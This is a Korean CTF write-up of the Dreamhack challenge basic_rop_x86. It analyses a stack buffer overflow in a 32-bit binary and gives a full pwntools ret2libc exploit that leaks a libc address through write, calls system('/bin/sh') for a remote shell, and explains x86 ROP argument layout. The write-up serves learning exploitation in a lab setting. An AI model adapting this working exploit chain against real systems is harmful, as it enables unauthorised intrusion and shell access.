문제 : https://dreamhack.io/wargame/challenges/30
basic_rop_x86
Description 이 문제는 서버에서 작동하고 있는 서비스(basic_rop_x86)의 바이너리와 소스 코드가 주어집니다. Return Oriented Programming 공격 기법을 통해 셸을 획득한 후, "flag" 파일을 읽으세요. "flag" 파일
dreamhack.io
Environment
[*] '/home/minzu/Dreamhack/basic_rop_x86'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
- No canary : Canary leak하는 과정 필요하지 않음
- NX enable : 스택에 실행 권한이 없음 - shellcode 불가능
- No PIE : 코드 영역 그대로 - plt, got 그대로
Code Analysis
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x40] = {};
initialize();
read(0, buf, 0x400);
write(1, buf, sizeof(buf));
return 0;
}
Vulnerability Type : Stack buffer Overflow (BOF)
현재 bof는 0x40만큼 할당되어있다.
read는 0x400만큼 입력받는다.
따라서 입력 버퍼의 크기보다 큰 값을 입력받으므로 스택 버퍼 오버플로우의 가능성이 있다.
- 입력 크기 제한 > 버퍼 크기
- 스택 상 연속된 메모리 주소 접근 가능 > return addr에 접근 가능
- 실행 흐름 조작 가능성
- 보호 기법을 bypass할 수 있는 가능성 있음
이에 따라 해당 코드는 익스플로잇이 가능하다
Exploit Idea
- buf와 SFP 값 덮기
- RET 부분에 rop를 만들어 ret2main하기
write(1,read@got, ) + main주소 -> ret2main
pwndbg> disassem main
Dump of assembler code for function main:
0x080485d9 <+0>: push ebp
0x080485da <+1>: mov ebp,esp
0x080485dc <+3>: push edi
0x080485dd <+4>: sub esp,0x40
0x080485e0 <+7>: lea edx,[ebp-0x44]
0x080485e3 <+10>: mov eax,0x0
0x080485e8 <+15>: mov ecx,0x10
0x080485ed <+20>: mov edi,edx
0x080485ef <+22>: rep stos DWORD PTR es:[edi],eax
0x080485f1 <+24>: call 0x8048592 <initialize>
0x080485f6 <+29>: push 0x400
0x080485fb <+34>: lea eax,[ebp-0x44]
0x080485fe <+37>: push eax
0x080485ff <+38>: push 0x0
0x08048601 <+40>: call 0x80483f0 <read@plt>
0x08048606 <+45>: add esp,0xc
0x08048609 <+48>: push 0x40
0x0804860b <+50>: lea eax,[ebp-0x44]
0x0804860e <+53>: push eax
0x0804860f <+54>: push 0x1
0x08048611 <+56>: call 0x8048450 <write@plt>
0x08048616 <+61>: add esp,0xc
0x08048619 <+64>: mov eax,0x0
0x0804861e <+69>: mov edi,DWORD PTR [ebp-0x4]
0x08048621 <+72>: leave
0x08048622 <+73>: ret
Exploit Scenario
system 함수의 주소 계산 -> return 2 main -> system('/bin/sh')
흐름으로 실행하면 된다.
이때 주의해야할 점은, 지금까지 풀었던 문제들과는 다르게 x86이기 때문에 함수 호출 방식이 다르다는 점이다
x64의 경우 rdi, rsi, rdx에 인자를 넣어주었다.
하지만, x86의 경우 레지스터가 아닌 스택으로 인자를 전달받기 때문에 이를 유의하면서 코드를 짜본다.
gadget
가젯은 레지스터와 상관 없이 3개의 인자를 다룰 수 있는 것이면 가능하다.
왜냐하면 레지스터에 무엇이 들어가든 x86은 함수 호출에 영향을 주지 않기 때문이다
ROPgadget --binary basic_rop_x86 | grep "pop"
따라서 해당 바이너리에 존재하는
0x08048689 : pop esi ; pop edi ; pop ebp ; ret
0x080483d9 : pop ebx ; ret
를 사용하여 익스플로잇 코드를 짤 것이다.
Exploit
from pwn import *
p = remote('host3.dreamhack.games',17650)
e = ELF('./basic_rop_x86')
libc = ELF('./libc.so.6')
r = ROP(e)
read_plt = e.plt['read']
read_got = e.got['read']
write_plt = e.plt['write']
main = e.sym['main']
read_offset = libc.sym['read']
system_offset = libc.sym['system']
binsh_offset = list(libc.search(b"/bin/sh"))[0]
p3ret = 0x08048689
pr = 0x080483d9
ret = r.find_gadget(['ret']).address
payload = b'A' * 0x48
payload += p32(write_plt)
payload += p32(p3ret) + p32(1) + p32(read_got) + p32(4)
payload += p32(main)
p.send(payload)
p.recvuntil(b'A' * 0x40)
read = u32(p.recvn(4))
libc_base = read - read_offset
system = libc_base + system_offset
binsh = libc_base + binsh_offset
log.info(f"read @ libc: {hex(read)}")
log.info(f"libc base: {hex(libc_base)}")
log.info(f"system: {hex(system)}")
log.info(f"/bin/sh: {hex(binsh)}")
payload = b'A' * 0x48
payload += p32(system)
payload += p32(pr) + p32(binsh)
p.send(payload)
p.interactive()
Question & Learn
ROP 구성할 때 인자의 호출 고려하
write(1,read_got, 4)를 실행한다고 생각해보자
push 4 ; 3rd argument
push read_got ; 2nd argument
push 1 ; 1st argument
call write ; jump to write, and push return address
하지만, rop를 구성할 때는
payload = b"A" * 0x48 # buffer overflow + return address overwrite
payload += p32(write_plt) # ← 이게 바로 "ret 다음에 갈 주소"
payload += p32(pop_pop_pop_ret) # ← write 끝나고 ret 하면 이 주소로 감
payload += p32(1) # arg1: fd
payload += p32(read_got) # arg2: buf
payload += p32(4)
write를 인자보다 먼저 넣어주게 된다.
ret;이 실행되면, write plt로 실행 흐름이 옮겨 가게 된다.
따라서 write_plt의 주소로 eip가 이동하게 되고
다음 pop pop pop을 가리키게 된다.
EIP: write_plt가 된 후에, pop pop pop ret을 통해 인자를 하나하나 스택에 넣어주게 된 후,
마지막 ret이 실행되면서 EIP가 가리키고 있던 write_plt가 실행되게 되는 것이다.
'Hacking > Write Up' 카테고리의 다른 글
[Reversing] Easy Assembly (0) | 2025.05.10 |
---|---|
[Pwnable] fho (0) | 2025.05.09 |
[Pwnable] basic_rop_x64 (0) | 2025.01.01 |
[Pwnable] rop (0) | 2024.12.29 |
[BLUEHENS CTF 2024] pwn-Training-Problem:Intro-to-PWN Write Up (1) | 2024.11.12 |